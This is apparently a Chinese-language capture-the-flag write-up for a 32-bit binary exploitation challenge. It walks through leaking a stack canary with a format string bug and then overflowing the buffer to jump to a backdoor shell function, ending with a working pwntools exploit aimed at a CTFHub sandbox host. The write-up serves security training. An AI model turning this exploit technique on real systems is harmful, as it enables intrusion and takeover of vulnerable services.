0x00
checksec:
32位程序,开启NX和canary
0x01
运行程序查看流程
有两次输入,并且将输入内容进行输出打印
IDA看一下伪代码
unsigned int vuln()
{
int i; // [esp+4h] [ebp-74h]
char buf[100]; // [esp+8h] [ebp-70h] BYREF
unsigned int v3; // [esp+6Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
for ( i = 0; i <= 1; ++i )
{
read(0, buf, 0x200u); <=栈溢出漏洞·
printf(buf); <=格式化字符串漏洞
}
return __readgsdword(0x14u) ^ v3;
}
存在一个栈溢出漏洞和一个格式化字符串漏洞,同时发现还有个后门函数
初步想法,第一次输入利用格式化字符串漏洞泄露canary的值,第二次输出利用栈溢出漏洞覆盖返回地址,执行shell函数
0x02
首先是泄露canary的值,要确定cannary在栈上的位置。
思路一:先泄露buf变量的偏移,再用通过计算buf和canary之间的确定canary的偏移
通过aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p可以发现buf的偏移量为6(即打印字符时第6个变量,从第0个变量开始计算)
验证一下,符合计算
然后通过buf和canary的相对地址进行计算(0x70-0xC)得到相对偏移为100个字节,因为是32位系统,得到相对偏移量为100/4=25,则canary的偏移量为6+25=31,利用%31$p即可泄露出canary的值
思路二:利用gdb本地调试,直接打印出canary的值,然后打印出栈上所有的值,找到canary在其中相对与esp的偏移量,也能得到偏移量为31(从第0个开始计算,实际上是第32个变量)
泄露出canary的值后思路与正常栈溢出一致,shell函数地址在ida中直接查看即可
0x03
exp
from pwn import *
#r = process("./pwn")
r= remote("challenge-fe220b24e6d3d94a.sandbox.ctfhub.com",29973)
system_addr = 0x80485a6
r.recvline()
r.sendline(b'%31$x')
canary = int(r.recv(8),16)
payload = b"a"*(0x70 - 0xC)
payload += p32(canary)
payload += b"a"*(0x8 + 0x4) //canary的值为4字节,因此距离ret地址0xC-0x4+0x4
payload += p32(system_addr)
r.sendline(payload)
r.interactive()